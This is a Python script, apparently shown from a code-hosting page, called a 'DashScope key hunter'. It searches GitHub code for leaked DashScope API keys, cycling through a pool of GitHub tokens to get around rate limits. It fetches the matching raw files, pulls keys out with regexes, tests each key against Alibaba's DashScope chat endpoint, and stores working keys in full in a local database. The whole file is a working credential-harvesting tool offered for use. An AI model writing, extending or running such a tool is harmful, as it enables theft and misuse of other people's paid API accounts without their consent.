247 lines
8.8 KiB
Python
Executable File
247 lines
8.8 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
"""
|
|
GitHub DashScope key hunter v3 — parallel raw file fetcher + validator.
|
|
Uses ThreadPoolExecutor for fetch & validate, skips 401 tokens live.
|
|
"""
|
|
import os, re, sys, time, hashlib, sqlite3, requests, random
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from threading import Lock
|
|
|
|
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
|
DB_PATH = os.path.join(KF_BASE, "data", "keys.db")
|
|
TOK_PATH = os.path.join(KF_BASE, "gh_tokens.txt")
|
|
|
|
RE_STANDARD = re.compile(r'(sk-[0-9a-f]{32})', re.IGNORECASE)
|
|
RE_CODING = re.compile(r'(sk-ws-H\.[A-Za-z0-9]{6}\.[A-Za-z0-9]{4}\.[A-Za-z0-9_\-+\/=]{50,})', re.IGNORECASE)
|
|
RE_PLACEHOLDER = re.compile(
|
|
r'(sk-xxx|sk-\.{3,}|sk-your|sk-YOUR|sk-example|sk-\*|sk-None|sk-placeholder|'
|
|
r'sk-[x\*]{8,}|sk-[0]{8,}|sk-[f]{8,})',
|
|
re.IGNORECASE)
|
|
|
|
db_lock = Lock()
|
|
|
|
def extract_keys(text):
|
|
keys = set()
|
|
for m in RE_CODING.finditer(text):
|
|
if not RE_PLACEHOLDER.search(m.group(1)):
|
|
keys.add(m.group(1))
|
|
for m in RE_STANDARD.finditer(text):
|
|
if not RE_PLACEHOLDER.search(m.group(1)):
|
|
keys.add(m.group(1))
|
|
return keys
|
|
|
|
def validate_key(key):
|
|
endpt = "dashscope-intl.aliyuncs.com" if "ws-H." in key else "dashscope.aliyuncs.com"
|
|
model = "qwen3.7-flash" if "ws-H." in key else "qwen-flash"
|
|
try:
|
|
r = requests.post(f"https://{endpt}/compatible-mode/v1/chat/completions",
|
|
headers={"Authorization": f"Bearer {key}", "Content-Type": "application/json"},
|
|
json={"model": model, "messages": [{"role": "user", "content": "x"}], "max_tokens": 1},
|
|
timeout=8)
|
|
return r.status_code
|
|
except:
|
|
return -1
|
|
|
|
def fetch_raw(token_info):
|
|
token, repo, path = token_info
|
|
url = f"https://raw.githubusercontent.com/{repo}/refs/heads/main/{path}"
|
|
headers = {"Authorization": f"token {token}", "User-Agent": "keyhunter/3.0"}
|
|
try:
|
|
r = requests.get(url, headers=headers, timeout=10)
|
|
if r.status_code == 200:
|
|
return repo, path, r.text
|
|
if r.status_code == 404:
|
|
url2 = f"https://raw.githubusercontent.com/{repo}/refs/heads/master/{path}"
|
|
r2 = requests.get(url2, headers=headers, timeout=10)
|
|
if r2.status_code == 200:
|
|
return repo, path, r2.text
|
|
if r.status_code == 401:
|
|
return None # dead token signal
|
|
return None
|
|
except:
|
|
return None
|
|
|
|
def search_code(token, query, page):
|
|
url = "https://api.github.com/search/code"
|
|
headers = {"Authorization": f"token {token}", "Accept": "application/vnd.github.v3+json", "User-Agent": "keyhunter/3.0"}
|
|
try:
|
|
r = requests.get(url, headers=headers, params={"q": query, "per_page": 100, "page": page}, timeout=15)
|
|
if r.status_code == 200:
|
|
data = r.json()
|
|
items = data.get("items", [])
|
|
files = set()
|
|
skip_ext = {'.md', '.txt', '.lock', '.png', '.jpg', '.gif', '.svg', '.ico', '.woff', '.ttf', '.pdf'}
|
|
for item in items:
|
|
ext = os.path.splitext(item["path"])[1].lower()
|
|
if ext in skip_ext:
|
|
continue
|
|
files.add((item["repository"]["full_name"], item["path"]))
|
|
return files, data.get("total_count", 0)
|
|
elif r.status_code == 403:
|
|
return None, -1
|
|
elif r.status_code == 422:
|
|
return set(), 0
|
|
else:
|
|
return set(), 0
|
|
except Exception as e:
|
|
return None, -2
|
|
|
|
def main():
|
|
# Load & pre-filter tokens
|
|
with open(TOK_PATH) as f:
|
|
all_tokens = [l.strip() for l in f if l.strip() and not l.startswith("#")]
|
|
|
|
print(f"Token pool: {len(all_tokens)}")
|
|
|
|
# Quick alive check on sample
|
|
alive = []
|
|
sample = all_tokens[:300]
|
|
for tok in sample:
|
|
try:
|
|
r = requests.get("https://api.github.com/rate_limit",
|
|
headers={"Authorization": f"token {tok}", "User-Agent": "kh"},
|
|
timeout=4)
|
|
if r.status_code == 200:
|
|
alive.append(tok)
|
|
except:
|
|
pass
|
|
alive += all_tokens[300:]
|
|
random.shuffle(alive)
|
|
tokens = alive
|
|
print(f"Alive tokens: {len(alive)} (tested {len(sample)})")
|
|
|
|
db = sqlite3.connect(DB_PATH)
|
|
cur = db.cursor()
|
|
|
|
queries = [
|
|
# .env files — high hit rate
|
|
('"DASHSCOPE_API_KEY" "sk-" extension:env', 'env'),
|
|
# coding-plan keys
|
|
('"sk-ws-H." language:python', 'coding'),
|
|
# Python configs
|
|
('"sk-" "DASHSCOPE_API_KEY" language:python NOT "sk-xxx"', 'python'),
|
|
# YAML
|
|
('"DASHSCOPE_API_KEY" "sk-" extension:yaml', 'yaml'),
|
|
# TOML/ini
|
|
('"DASHSCOPE_API_KEY" "sk-" extension:toml', 'toml'),
|
|
]
|
|
|
|
total_new = 0
|
|
token_idx = [0] # list for mutable closure
|
|
dead_tokens = set()
|
|
|
|
for query, dtype in queries:
|
|
print(f"\n{'='*60}")
|
|
print(f"[QUERY] {query}")
|
|
|
|
# Collect all file URLs first
|
|
all_files = []
|
|
for page in range(1, 11):
|
|
while token_idx[0] < len(tokens):
|
|
tok = tokens[token_idx[0]]
|
|
token_idx[0] += 1
|
|
if tok in dead_tokens:
|
|
continue
|
|
break
|
|
else:
|
|
break
|
|
|
|
files, total = search_code(tok, query, page)
|
|
|
|
if files is None:
|
|
if total == -1:
|
|
dead_tokens.add(tok)
|
|
token_idx[0] += 1
|
|
continue
|
|
else:
|
|
break
|
|
|
|
if not files:
|
|
break
|
|
|
|
all_files.extend(files)
|
|
print(f" Page {page}: {len(files)} files → cumulative: {len(all_files)} (total hits: {total})")
|
|
|
|
if len(files) < 100:
|
|
break
|
|
time.sleep(0.5)
|
|
|
|
print(f" Files to fetch: {len(all_files)}")
|
|
|
|
if not all_files:
|
|
continue
|
|
|
|
# Fetch raw files in parallel
|
|
fetched = 0
|
|
new_keys = []
|
|
|
|
with ThreadPoolExecutor(max_workers=8) as pool:
|
|
# Prepare fetch tasks
|
|
fetch_tasks = []
|
|
for i, (repo, path) in enumerate(all_files):
|
|
while token_idx[0] < len(tokens):
|
|
tok = tokens[token_idx[0]]
|
|
token_idx[0] += 1
|
|
if tok not in dead_tokens:
|
|
break
|
|
else:
|
|
tok = tokens[0]
|
|
fetch_tasks.append((tok, repo, path))
|
|
|
|
futures = {pool.submit(fetch_raw, task): task for task in fetch_tasks}
|
|
|
|
for future in as_completed(futures):
|
|
result = future.result()
|
|
if result is None:
|
|
continue
|
|
repo, path, content = result
|
|
fetched += 1
|
|
|
|
keys = extract_keys(content)
|
|
if not keys:
|
|
continue
|
|
|
|
for key in keys:
|
|
if len(key) < 8:
|
|
continue
|
|
|
|
h = hashlib.sha256(key.encode()).hexdigest()
|
|
|
|
with db_lock:
|
|
cur.execute("SELECT 1 FROM keys WHERE hash=?", (h,))
|
|
if cur.fetchone():
|
|
continue
|
|
|
|
stat = validate_key(key)
|
|
status = "WORKING" if stat == 200 else "DEAD"
|
|
plan = "coding" if "ws-H." in key else "standard"
|
|
now = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime(time.time()))
|
|
|
|
with db_lock:
|
|
cur.execute("""INSERT OR REPLACE INTO keys
|
|
(hash, val, prov, status, plan, price, remaining, found, repo, first_seen, last_seen)
|
|
VALUES (?,?,?,?,?,?,?,?,?,?,?)""",
|
|
(h, key, 'DASHSCOPE', status, plan, '', '',
|
|
now, f"github:{repo}/{path}", now, now))
|
|
db.commit()
|
|
|
|
tag = "✓" if status == "WORKING" else "✗"
|
|
print(f" [{tag}] {key[:40]}... {status:8s} | {repo}/{path}")
|
|
total_new += 1
|
|
|
|
print(f" Fetched: {fetched}/{len(all_files)}, new keys: {total_new}")
|
|
|
|
db.close()
|
|
|
|
# Final stats
|
|
db2 = sqlite3.connect(DB_PATH)
|
|
cur2 = db2.cursor()
|
|
cur2.execute("SELECT status, COUNT(*) FROM keys WHERE prov='DASHSCOPE' GROUP BY status")
|
|
print(f"\n{'='*60}")
|
|
print(f"FINAL — New keys found: {total_new}")
|
|
for s, c in cur2.fetchall():
|
|
print(f" {s}: {c}")
|
|
db2.close()
|
|
|
|
if __name__ == "__main__":
|
|
sys.exit(main()) |